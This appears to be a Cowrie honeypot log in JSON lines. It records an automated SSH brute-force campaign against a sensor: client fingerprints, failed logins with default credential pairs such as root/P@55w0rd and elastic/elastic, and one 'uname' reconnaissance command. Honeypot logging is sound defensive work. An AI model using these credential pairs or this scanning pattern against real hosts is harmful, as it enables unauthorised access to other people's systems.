{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:23.676737Z","src_ip":"95.38.165.118","session":"d1750f14d746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:23.848208Z","src_ip":"95.38.165.118","session":"d1750f14d746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:25.264871Z","src_ip":"95.38.165.118","session":"d1750f14d746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.79386830329895,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:27.220483Z","src_ip":"178.128.93.180","session":"f5552b90da7e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:27.786188Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:27.789865Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:27.962562Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:27.968190Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:28.066229Z","src_ip":"95.38.165.118","session":"d1750f14d746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41134,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8672b487922","protocol":"ssh","message":"New connection: 95.38.165.118:41134 (10.17.0.5:22) [session: c8672b487922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:28.868294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:28.873361Z","src_ip":"95.38.165.118","session":"c8672b487922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:29.037924Z","src_ip":"95.38.165.118","session":"c8672b487922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:29.987672Z","src_ip":"95.38.165.118","session":"c8672b487922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":48246,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b91534da31","protocol":"telnet","message":"New connection: 178.128.93.180:48246 (10.17.0.5:23) [session: 47b91534da31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:30.175194Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:32.863055Z","src_ip":"95.38.165.118","session":"c8672b487922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41148,"dst_ip":"10.17.0.5","dst_port":22,"session":"78640f96a7c3","protocol":"ssh","message":"New connection: 95.38.165.118:41148 (10.17.0.5:22) [session: 78640f96a7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:34.847845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:34.855502Z","src_ip":"95.38.165.118","session":"78640f96a7c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:35.741471Z","src_ip":"95.38.165.118","session":"78640f96a7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:37.985698Z","src_ip":"95.38.165.118","session":"78640f96a7c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49800,"dst_ip":"10.17.0.5","dst_port":22,"session":"a550d353f265","protocol":"ssh","message":"New connection: 95.38.165.118:49800 (10.17.0.5:22) [session: a550d353f265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:38.764705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:38.769269Z","src_ip":"95.38.165.118","session":"a550d353f265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:38.972789Z","src_ip":"95.38.165.118","session":"a550d353f265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:39.148933Z","src_ip":"95.38.165.118","session":"78640f96a7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:40.350517Z","src_ip":"95.38.165.118","session":"a550d353f265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:41.530149Z","src_ip":"95.38.165.118","session":"a550d353f265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49802,"dst_ip":"10.17.0.5","dst_port":22,"session":"3613e81453b4","protocol":"ssh","message":"New connection: 95.38.165.118:49802 (10.17.0.5:22) [session: 3613e81453b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:43.703252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:44.229696Z","src_ip":"95.38.165.118","session":"3613e81453b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:44.233757Z","src_ip":"95.38.165.118","session":"3613e81453b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:45.483820Z","src_ip":"95.38.165.118","session":"3613e81453b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:47.070757Z","src_ip":"95.38.165.118","session":"3613e81453b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.312958240509033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:47.698627Z","src_ip":"69.4.83.194","session":"b32785b2a701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36024,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aaa1e9f5b62","protocol":"ssh","message":"New connection: 95.38.165.118:36024 (10.17.0.5:22) [session: 7aaa1e9f5b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:49.232946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:49.242545Z","src_ip":"95.38.165.118","session":"7aaa1e9f5b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:49.966447Z","src_ip":"95.38.165.118","session":"7aaa1e9f5b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:50.665941Z","src_ip":"95.38.165.118","session":"7aaa1e9f5b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:53.470595Z","src_ip":"95.38.165.118","session":"7aaa1e9f5b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57838,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2e291d553b","protocol":"telnet","message":"New connection: 69.4.83.194:57838 (159.203.135.109:23) [session: 0e2e291d553b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:53.858762Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e300a2878d81","protocol":"ssh","message":"New connection: 95.38.165.118:36026 (10.17.0.5:22) [session: e300a2878d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:54.382499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:54.395903Z","src_ip":"95.38.165.118","session":"e300a2878d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:54.557811Z","src_ip":"95.38.165.118","session":"e300a2878d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:55.690947Z","src_ip":"95.38.165.118","session":"e300a2878d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:56.917070Z","src_ip":"95.38.165.118","session":"e300a2878d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37334,"dst_ip":"10.17.0.5","dst_port":22,"session":"92688ceeb44e","protocol":"ssh","message":"New connection: 95.38.165.118:37334 (10.17.0.5:22) [session: 92688ceeb44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:59.700796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:59.706853Z","src_ip":"95.38.165.118","session":"92688ceeb44e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:59.870662Z","src_ip":"95.38.165.118","session":"92688ceeb44e","protocol":"ssh"}
